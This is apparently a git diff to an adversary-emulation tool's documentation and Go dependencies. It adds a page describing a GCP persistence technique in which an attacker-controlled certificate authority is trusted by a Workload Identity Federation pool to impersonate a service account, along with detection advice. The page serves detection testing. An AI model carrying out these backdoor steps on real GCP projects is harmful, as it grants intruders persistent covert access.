diff --git a/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md b/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md
new file mode 100755
index 000000000..e0aa27e77
--- /dev/null
+++ b/docs/attack-techniques/GCP/gcp.persistence.create-workload-identity-federation.md
@@ -0,0 +1,73 @@
+---
+title: Create a Workload Identity Federation Pool and Provider
+---
+
+# Create a Workload Identity Federation Pool and Provider
+
+
+
+
+Platform: GCP
+
+## Mappings
+
+- MITRE ATT&CK
+ - Persistence
+
+
+
+## Description
+
+
+Creates a Workload Identity Federation (WIF) pool and an X.509 provider within it,
+then grants the pool's identities permission to impersonate a target service account.
+This simulates an attacker who has obtained access to a GCP project and establishes
+a persistent backdoor by acting as their own certificate authority: any machine that
+holds a certificate signed by the attacker's CA can silently exchange it for GCP
+access tokens impersonating the target service account, without ever creating a
+service account key.
+
+This is the GCP equivalent of AWS IAM Roles Anywhere.
+
+Warm-up:
+
+- Create a target service account
+
+Detonation:
+
+- Generate an attacker-controlled CA certificate and a client certificate signed by it
+- Create a Workload Identity Pool named stratus-red-team-wif-<suffix>
+- Create an X.509 provider within the pool, trusting the attacker CA
+- Grant roles/iam.workloadIdentityUser on the target service account
+ to all identities in the pool (any cert signed by the attacker CA can impersonate it)
+- Write ca.crt, client.crt, and client.key to the current directory
+
+Revert:
+
+- Remove the roles/iam.workloadIdentityUser binding from the service account
+- Delete the X.509 provider
+- Delete the Workload Identity Pool
+- Remove ca.crt, client.crt, and client.key
+
+References:
+
+- https://cloud.google.com/iam/docs/workload-identity-federation-with-x509-certificates
+- https://cloud.google.com/iam/docs/reference/rest/v1/projects.locations.workloadIdentityPools
+- https://www.tenable.com/blog/how-attackers-can-exploit-gcps-multicloud-workload-solution
+
+
+## Instructions
+
+```bash title="Detonate with Stratus Red Team"
+stratus detonate gcp.persistence.create-workload-identity-federation
+```
+## Detection
+
+
+Identify when a Workload Identity Federation pool or provider is created by
+monitoring for google.iam.admin.v1.CreateWorkloadIdentityPool and
+google.iam.admin.v1.CreateWorkloadIdentityPoolProvider events in GCP
+Admin Activity audit logs. Alert on unexpected creation, especially X.509 providers
+which allow certificate-based authentication from outside GCP.
+
+
diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md
index 32707a0fc..39486cfbb 100755
--- a/docs/attack-techniques/GCP/index.md
+++ b/docs/attack-techniques/GCP/index.md
@@ -28,6 +28,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT
- [Create a GCP Service Account Key](./gcp.persistence.create-service-account-key.md)
+ - [Create a Workload Identity Federation Pool and Provider](./gcp.persistence.create-workload-identity-federation.md)
+
- [Invite an External User to a GCP Project](./gcp.persistence.invite-external-user.md)
- [Backdoor a Cloud Function by Granting Public Invoke Access](./gcp.persistence.backdoor-cloud-function.md)
diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md
index d6e33f625..2510e4168 100755
--- a/docs/attack-techniques/list.md
+++ b/docs/attack-techniques/list.md
@@ -92,6 +92,7 @@ This page contains the list of all Stratus Attack Techniques.
| [Backdoor a GCP Service Account through its IAM Policy](./GCP/gcp.persistence.backdoor-service-account-policy.md) | [GCP](./GCP/index.md) | Persistence |
| [Create an Admin GCP Service Account](./GCP/gcp.persistence.create-admin-service-account.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation |
| [Create a GCP Service Account Key](./GCP/gcp.persistence.create-service-account-key.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation |
+| [Create a Workload Identity Federation Pool and Provider](./GCP/gcp.persistence.create-workload-identity-federation.md) | [GCP](./GCP/index.md) | Persistence |
| [Invite an External User to a GCP Project](./GCP/gcp.persistence.invite-external-user.md) | [GCP](./GCP/index.md) | Persistence |
| [Dump All Secrets](./kubernetes/k8s.credential-access.dump-secrets.md) | [Kubernetes](./kubernetes/index.md) | Credential Access |
| [Steal Pod Service Account Token](./kubernetes/k8s.credential-access.steal-serviceaccount-token.md) | [Kubernetes](./kubernetes/index.md) | Credential Access |
diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md
index 298841d9c..50d1be9f2 100644
--- a/docs/attack-techniques/mitre-attack-coverage-matrices.md
+++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md
@@ -59,9 +59,9 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently
| Inject a Malicious Startup Script into a Vertex AI Workbench Instance | Backdoor a GCP Service Account through its IAM Policy | Create an Admin GCP Service Account | Disable Data Access Audit Logs for a GCP Service | Steal and Use the GCE Default Service Account Token from Outside Google Cloud | Enumerate Permissions of a GCP Service Account | | Exfiltrate Compute Disk by sharing it | Create GCE Instances in Multiple Zones |
| Execute Commands on GCE Instances via OS Config Agent | Create an Admin GCP Service Account | Create a GCP Service Account Key | Attempt to Remove a GCP Project from its Organization | | | | Exfiltrate Compute Image by sharing it | Invoke a Vertex AI Model |
| | Create a GCP Service Account Key | Impersonate GCP Service Accounts | Disable VPC Flow Logs on a Subnet | | | | Exfiltrate Compute Disk by sharing a snapshot | Ransomware Simulation — Delete All GCS Objects in Batch |
- | | Invite an External User to a GCP Project | Inject a Malicious Startup Script into a Vertex AI Workbench Instance | Delete a GCP Log Sink | | | | Backdoor a GCS Bucket via Overly Permissive IAM Policy | Ransomware Simulation — Encrypt GCS Objects Client-Side |
- | | Backdoor a Cloud Function by Granting Public Invoke Access | | Disable a GCP Log Sink | | | | | Ransomware Simulation — Delete GCS Objects Individually |
- | | | | Reduce Log Retention Period on a Cloud Logging Sink Bucket | | | | | |
+ | | Create a Workload Identity Federation Pool and Provider | Inject a Malicious Startup Script into a Vertex AI Workbench Instance | Delete a GCP Log Sink | | | | Backdoor a GCS Bucket via Overly Permissive IAM Policy | Ransomware Simulation — Encrypt GCS Objects Client-Side |
+ | | Invite an External User to a GCP Project | | Disable a GCP Log Sink | | | | | Ransomware Simulation — Delete GCS Objects Individually |
+ | | Backdoor a Cloud Function by Granting Public Invoke Access | | Reduce Log Retention Period on a Cloud Logging Sink Bucket | | | | | |
diff --git a/docs/index.yaml b/docs/index.yaml
index 096f97521..88d880df9 100644
--- a/docs/index.yaml
+++ b/docs/index.yaml
@@ -770,6 +770,13 @@ GCP:
- Privilege Escalation
platform: GCP
isIdempotent: false
+ - id: gcp.persistence.create-workload-identity-federation
+ name: Create a Workload Identity Federation Pool and Provider
+ isSlow: false
+ mitreAttackTactics:
+ - Persistence
+ platform: GCP
+ isIdempotent: false
- id: gcp.persistence.invite-external-user
name: Invite an External User to a GCP Project
isSlow: false
diff --git a/v2/go.mod b/v2/go.mod
index ec90630dc..4a189fad7 100644
--- a/v2/go.mod
+++ b/v2/go.mod
@@ -14,6 +14,7 @@ require (
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/compute/armcompute/v4 v4.2.1
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/keyvault/armkeyvault v1.5.0
+ github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/msi/armmsi v1.3.0
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/v6 v6.1.0
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armlocks v1.2.0
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.2.0
@@ -50,10 +51,11 @@ require (
github.com/jedib0t/go-pretty/v6 v6.4.0
github.com/microsoftgraph/msgraph-beta-sdk-go v0.108.0
github.com/microsoftgraph/msgraph-sdk-go-core v1.2.1
+ github.com/santhosh-tekuri/jsonschema/v6 v6.0.2
github.com/spf13/cobra v1.6.0
github.com/spf13/viper v1.21.0
github.com/stretchr/testify v1.11.1
- golang.org/x/oauth2 v0.27.0
+ golang.org/x/oauth2 v0.29.0
golang.org/x/sync v0.16.0
gopkg.in/yaml.v3 v3.0.1
k8s.io/api v0.25.3
@@ -64,14 +66,12 @@ require (
require (
cloud.google.com/go v0.118.0 // indirect
cloud.google.com/go/aiplatform v1.70.0 // indirect
- cloud.google.com/go/auth v0.14.0 // indirect
- cloud.google.com/go/auth/oauth2adapt v0.2.7 // indirect
+ cloud.google.com/go/auth v0.16.0 // indirect
+ cloud.google.com/go/auth/oauth2adapt v0.2.8 // indirect
cloud.google.com/go/compute/metadata v0.6.0 // indirect
cloud.google.com/go/iam v1.3.1 // indirect
cloud.google.com/go/longrunning v0.6.4 // indirect
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 // indirect
- github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0 // indirect
- github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/msi/armmsi v1.3.0 // indirect
github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0 // indirect
github.com/AzureAD/microsoft-authentication-library-for-go v1.6.0 // indirect
github.com/ProtonMail/go-crypto v1.1.0-alpha.2 // indirect
@@ -108,7 +108,7 @@ require (
github.com/google/gnostic v0.5.7-v3refs // indirect
github.com/google/gofuzz v1.1.0 // indirect
github.com/google/s2a-go v0.1.9 // indirect
- github.com/googleapis/enterprise-certificate-proxy v0.3.4 // indirect
+ github.com/googleapis/enterprise-certificate-proxy v0.3.6 // indirect
github.com/googleapis/gax-go/v2 v2.14.1 // indirect
github.com/imdario/mergo v0.3.15 // indirect
github.com/inconshreveable/mousetrap v1.0.1 // indirect
@@ -135,7 +135,6 @@ require (
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/sagikazarmark/locafero v0.11.0 // indirect
- github.com/santhosh-tekuri/jsonschema/v6 v6.0.2 // indirect
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
github.com/spf13/afero v1.15.0 // indirect
github.com/spf13/cast v1.10.0 // indirect
@@ -144,20 +143,20 @@ require (
github.com/stretchr/objx v0.5.2 // indirect
github.com/subosito/gotenv v1.6.0 // indirect
go.opentelemetry.io/auto/sdk v1.1.0 // indirect
- go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.58.0 // indirect
- go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.58.0 // indirect
- go.opentelemetry.io/otel v1.34.0 // indirect
- go.opentelemetry.io/otel/metric v1.34.0 // indirect
- go.opentelemetry.io/otel/trace v1.34.0 // indirect
+ go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 // indirect
+ go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 // indirect
+ go.opentelemetry.io/otel v1.35.0 // indirect
+ go.opentelemetry.io/otel/metric v1.35.0 // indirect
+ go.opentelemetry.io/otel/trace v1.35.0 // indirect
go.yaml.in/yaml/v3 v3.0.4 // indirect
golang.org/x/mod v0.26.0 // indirect
golang.org/x/net v0.43.0 // indirect
golang.org/x/term v0.34.0 // indirect
- golang.org/x/time v0.9.0 // indirect
+ golang.org/x/time v0.11.0 // indirect
google.golang.org/genproto v0.0.0-20250122153221-138b5a5a4fd4 // indirect
- google.golang.org/genproto/googleapis/api v0.0.0-20250124145028-65684f501c47 // indirect
- google.golang.org/genproto/googleapis/rpc v0.0.0-20250115164207-1a7da9e5054f // indirect
- google.golang.org/protobuf v1.36.4 // indirect
+ google.golang.org/genproto/googleapis/api v0.0.0-20250218202821-56aae31c358a // indirect
+ google.golang.org/genproto/googleapis/rpc v0.0.0-20250414145226-207652e42e2e // indirect
+ google.golang.org/protobuf v1.36.6 // indirect
gopkg.in/inf.v0 v0.9.1 // indirect
gopkg.in/yaml.v2 v2.4.0 // indirect
k8s.io/klog/v2 v2.70.1 // indirect
@@ -178,6 +177,6 @@ require (
golang.org/x/crypto v0.41.0
golang.org/x/sys v0.35.0 // indirect
golang.org/x/text v0.28.0 // indirect
- google.golang.org/api v0.218.0
- google.golang.org/grpc v1.70.0 // indirect
+ google.golang.org/api v0.230.0
+ google.golang.org/grpc v1.72.0 // indirect
)
diff --git a/v2/go.sum b/v2/go.sum
index 1e022ad7c..aca5f7ae4 100644
--- a/v2/go.sum
+++ b/v2/go.sum
@@ -3,10 +3,10 @@ cloud.google.com/go v0.118.0 h1:tvZe1mgqRxpiVa3XlIGMiPcEUbP1gNXELgD4y/IXmeQ=
cloud.google.com/go v0.118.0/go.mod h1:zIt2pkedt/mo+DQjcT4/L3NDxzHPR29j5HcclNH+9PM=
cloud.google.com/go/aiplatform v1.70.0 h1:vnqsPkgcwlDEpWl9t6C3/HLfHeweuGXs2gcYTzH6dMs=
cloud.google.com/go/aiplatform v1.70.0/go.mod h1:1cewyC4h+yvRs0qVvlCuU3V6j1pJ41doIcroYX3uv8o=
-cloud.google.com/go/auth v0.14.0 h1:A5C4dKV/Spdvxcl0ggWwWEzzP7AZMJSEIgrkngwhGYM=
-cloud.google.com/go/auth v0.14.0/go.mod h1:CYsoRL1PdiDuqeQpZE0bP2pnPrGqFcOkI0nldEQis+A=
-cloud.google.com/go/auth/oauth2adapt v0.2.7 h1:/Lc7xODdqcEw8IrZ9SvwnlLX6j9FHQM74z6cBk9Rw6M=
-cloud.google.com/go/auth/oauth2adapt v0.2.7/go.mod h1:NTbTTzfvPl1Y3V1nPpOgl2w6d/FjO7NNUQaWSox6ZMc=
+cloud.google.com/go/auth v0.16.0 h1:Pd8P1s9WkcrBE2n/PhAwKsdrR35V3Sg2II9B+ndM3CU=
+cloud.google.com/go/auth v0.16.0/go.mod h1:1howDHJ5IETh/LwYs3ZxvlkXF48aSqqJUM+5o02dNOI=
+cloud.google.com/go/auth/oauth2adapt v0.2.8 h1:keo8NaayQZ6wimpNSmW5OPc283g65QNIiLpZnkHRbnc=
+cloud.google.com/go/auth/oauth2adapt v0.2.8/go.mod h1:XQ9y31RkqZCcwJWNSx2Xvric3RrU88hAYYbjDWYDL+c=
cloud.google.com/go/compute v1.31.1 h1:SObuy8Fs6woazArpXp1fsHCw+ZH4iJ/8dGGTxUhHZQA=
cloud.google.com/go/compute v1.31.1/go.mod h1:hyOponWhXviDptJCJSoEh89XO1cfv616wbwbkde1/+8=
cloud.google.com/go/compute/metadata v0.6.0 h1:A6hENjEsCDtC1k8byVsgwvVcioamEHvZ4j01OwKxG9I=
@@ -163,6 +163,8 @@ github.com/cyphar/filepath-securejoin v0.2.4/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxG
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/dlclark/regexp2 v1.11.0 h1:G/nrcoOa7ZXlpoa/91N3X7mM3r8eIlMBBJZvsz/mxKI=
+github.com/dlclark/regexp2 v1.11.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE=
github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153 h1:yUdfgN0XgIJw7foRItutHYUIhlcKzcSf5vDpdhQAKTc=
github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153/go.mod h1:/Zj4wYkgs4iZTTu3o/KG3Itv/qCCa8VVMlb3i9OVuzc=
@@ -232,17 +234,19 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
-github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
+github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
+github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/gofuzz v1.1.0 h1:Hsa8mG0dQ46ij8Sl2AYJDUv1oA9/d6Vk+3LG99Oe02g=
github.com/google/gofuzz v1.1.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
+github.com/google/martian/v3 v3.3.3 h1:DIhPTQrbPkgs2yJYdXU/eNACCG5DVQjySNRNlflZ9Fc=
+github.com/google/martian/v3 v3.3.3/go.mod h1:iEPrYcgCF7jA9OtScMFQyAlZZ4YXTKEtJ1E6RWzmBA0=
github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
-github.com/googleapis/enterprise-certificate-proxy v0.3.4 h1:XYIDZApgAnrN1c855gTgghdIA6Stxb52D5RnLI1SLyw=
-github.com/googleapis/enterprise-certificate-proxy v0.3.4/go.mod h1:YKe7cfqYXjKGpGvmSg28/fFvhNzinZQm8DGnaburhGA=
+github.com/googleapis/enterprise-certificate-proxy v0.3.6 h1:GW/XbdyBFQ8Qe+YAmFU9uHLo7OnF5tL52HFAgMmyrf4=
+github.com/googleapis/enterprise-certificate-proxy v0.3.6/go.mod h1:MkHOF77EYAE7qfSuSS9PU6g4Nt4e11cnsDUowfwewLA=
github.com/googleapis/gax-go/v2 v2.14.1 h1:hb0FFeiPaQskmvakKu5EbCbpntQn48jyHuvrkurSS/Q=
github.com/googleapis/gax-go/v2 v2.14.1/go.mod h1:Hb/NubMaVM88SrNkvl8X/o8XWwDJEPqouaLeN2IUxoA=
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
@@ -392,20 +396,20 @@ go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0=
go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo=
go.opentelemetry.io/auto/sdk v1.1.0 h1:cH53jehLUN6UFLY71z+NDOiNJqDdPRaXzTel0sJySYA=
go.opentelemetry.io/auto/sdk v1.1.0/go.mod h1:3wSPjt5PWp2RhlCcmmOial7AvC4DQqZb7a7wCow3W8A=
-go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.58.0 h1:PS8wXpbyaDJQ2VDHHncMe9Vct0Zn1fEjpsjrLxGJoSc=
-go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.58.0/go.mod h1:HDBUsEjOuRC0EzKZ1bSaRGZWUBAzo+MhAcUUORSr4D0=
-go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.58.0 h1:yd02MEjBdJkG3uabWP9apV+OuWRIXGDuJEUJbOHmCFU=
-go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.58.0/go.mod h1:umTcuxiv1n/s/S6/c2AT/g2CQ7u5C59sHDNmfSwgz7Q=
-go.opentelemetry.io/otel v1.34.0 h1:zRLXxLCgL1WyKsPVrgbSdMN4c0FMkDAskSTQP+0hdUY=
-go.opentelemetry.io/otel v1.34.0/go.mod h1:OWFPOQ+h4G8xpyjgqo4SxJYdDQ/qmRH+wivy7zzx9oI=
-go.opentelemetry.io/otel/metric v1.34.0 h1:+eTR3U0MyfWjRDhmFMxe2SsW64QrZ84AOhvqS7Y+PoQ=
-go.opentelemetry.io/otel/metric v1.34.0/go.mod h1:CEDrp0fy2D0MvkXE+dPV7cMi8tWZwX3dmaIhwPOaqHE=
-go.opentelemetry.io/otel/sdk v1.34.0 h1:95zS4k/2GOy069d321O8jWgYsW3MzVV+KuSPKp7Wr1A=
-go.opentelemetry.io/otel/sdk v1.34.0/go.mod h1:0e/pNiaMAqaykJGKbi+tSjWfNNHMTxoC9qANsCzbyxU=
-go.opentelemetry.io/otel/sdk/metric v1.32.0 h1:rZvFnvmvawYb0alrYkjraqJq0Z4ZUJAiyYCU9snn1CU=
-go.opentelemetry.io/otel/sdk/metric v1.32.0/go.mod h1:PWeZlq0zt9YkYAp3gjKZ0eicRYvOh1Gd+X99x6GHpCQ=
-go.opentelemetry.io/otel/trace v1.34.0 h1:+ouXS2V8Rd4hp4580a8q23bg0azF2nI8cqLYnC8mh/k=
-go.opentelemetry.io/otel/trace v1.34.0/go.mod h1:Svm7lSjQD7kG7KJ/MUHPVXSDGz2OX4h0M2jHBhmSfRE=
+go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 h1:x7wzEgXfnzJcHDwStJT+mxOz4etr2EcexjqhBvmoakw=
+go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0/go.mod h1:rg+RlpR5dKwaS95IyyZqj5Wd4E13lk/msnTS0Xl9lJM=
+go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 h1:sbiXRNDSWJOTobXh5HyQKjq6wUC5tNybqjIqDpAY4CU=
+go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0/go.mod h1:69uWxva0WgAA/4bu2Yy70SLDBwZXuQ6PbBpbsa5iZrQ=
+go.opentelemetry.io/otel v1.35.0 h1:xKWKPxrxB6OtMCbmMY021CqC45J+3Onta9MqjhnusiQ=
+go.opentelemetry.io/otel v1.35.0/go.mod h1:UEqy8Zp11hpkUrL73gSlELM0DupHoiq72dR+Zqel/+Y=
+go.opentelemetry.io/otel/metric v1.35.0 h1:0znxYu2SNyuMSQT4Y9WDWej0VpcsxkuklLa4/siN90M=
+go.opentelemetry.io/otel/metric v1.35.0/go.mod h1:nKVFgxBZ2fReX6IlyW28MgZojkoAkJGaE8CpgeAU3oE=
+go.opentelemetry.io/otel/sdk v1.35.0 h1:iPctf8iprVySXSKJffSS79eOjl9pvxV9ZqOWT0QejKY=
+go.opentelemetry.io/otel/sdk v1.35.0/go.mod h1:+ga1bZliga3DxJ3CQGg3updiaAJoNECOgJREo9KHGQg=
+go.opentelemetry.io/otel/sdk/metric v1.35.0 h1:1RriWBmCKgkeHEhM7a2uMjMUfP7MsOF5JpUCaEqEI9o=
+go.opentelemetry.io/otel/sdk/metric v1.35.0/go.mod h1:is6XYCUMpcKi+ZsOvfluY5YstFnhW0BidkR+gL+qN+w=
+go.opentelemetry.io/otel/trace v1.35.0 h1:dPpEfJu1sDIqruz7BHFG3c7528f6ddfSWfFDVt/xgMs=
+go.opentelemetry.io/otel/trace v1.35.0/go.mod h1:WUk7DtFp1Aw2MkvqGdwiXYDZZNvA/1J8o6xRXLrIkyc=
go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc=
go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
@@ -433,8 +437,8 @@ golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwY
golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE=
golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
-golang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M=
-golang.org/x/oauth2 v0.27.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8=
+golang.org/x/oauth2 v0.29.0 h1:WdYw2tdTK1S8olAzWHdgeqfy+Mtm9XNhv/xJsY65d98=
+golang.org/x/oauth2 v0.29.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
@@ -457,8 +461,8 @@ golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.28.0 h1:rhazDwis8INMIwQ4tpjLDzUhx6RlXqZNPEM0huQojng=
golang.org/x/text v0.28.0/go.mod h1:U8nCwOR8jO/marOQ0QbDiOngZVEBB7MAiitBuMjXiNU=
-golang.org/x/time v0.9.0 h1:EsRrnYcQiGH+5FfbgvV4AP7qEZstoyrHB0DzarOQ4ZY=
-golang.org/x/time v0.9.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
+golang.org/x/time v0.11.0 h1:/bpjEDfN9tkoN/ryeYHnv5hcMlc8ncjMcM4XBk5NWV0=
+golang.org/x/time v0.11.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
@@ -473,8 +477,8 @@ golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8T
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
-google.golang.org/api v0.218.0 h1:x6JCjEWeZ9PFCRe9z0FBrNwj7pB7DOAqT35N+IPnAUA=
-google.golang.org/api v0.218.0/go.mod h1:5VGHBAkxrA/8EFjLVEYmMUJ8/8+gWWQ3s4cFH0FxG2M=
+google.golang.org/api v0.230.0 h1:2u1hni3E+UXAXrONrrkfWpi/V6cyKVAbfGVeGtC3OxM=
+google.golang.org/api v0.230.0/go.mod h1:aqvtoMk7YkiXx+6U12arQFExiRV9D/ekvMCwCd/TksQ=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
@@ -483,15 +487,15 @@ google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEY
google.golang.org/genproto v0.0.0-20201019141844-1ed22bb0c154/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20250122153221-138b5a5a4fd4 h1:Pw6WnI9W/LIdRxqK7T6XGugGbHIRl5Q7q3BssH6xk4s=
google.golang.org/genproto v0.0.0-20250122153221-138b5a5a4fd4/go.mod h1:qbZzneIOXSq+KFAFut9krLfRLZiFLzZL5u2t8SV83EE=
-google.golang.org/genproto/googleapis/api v0.0.0-20250124145028-65684f501c47 h1:5iw9XJTD4thFidQmFVvx0wi4g5yOHk76rNRUxz1ZG5g=
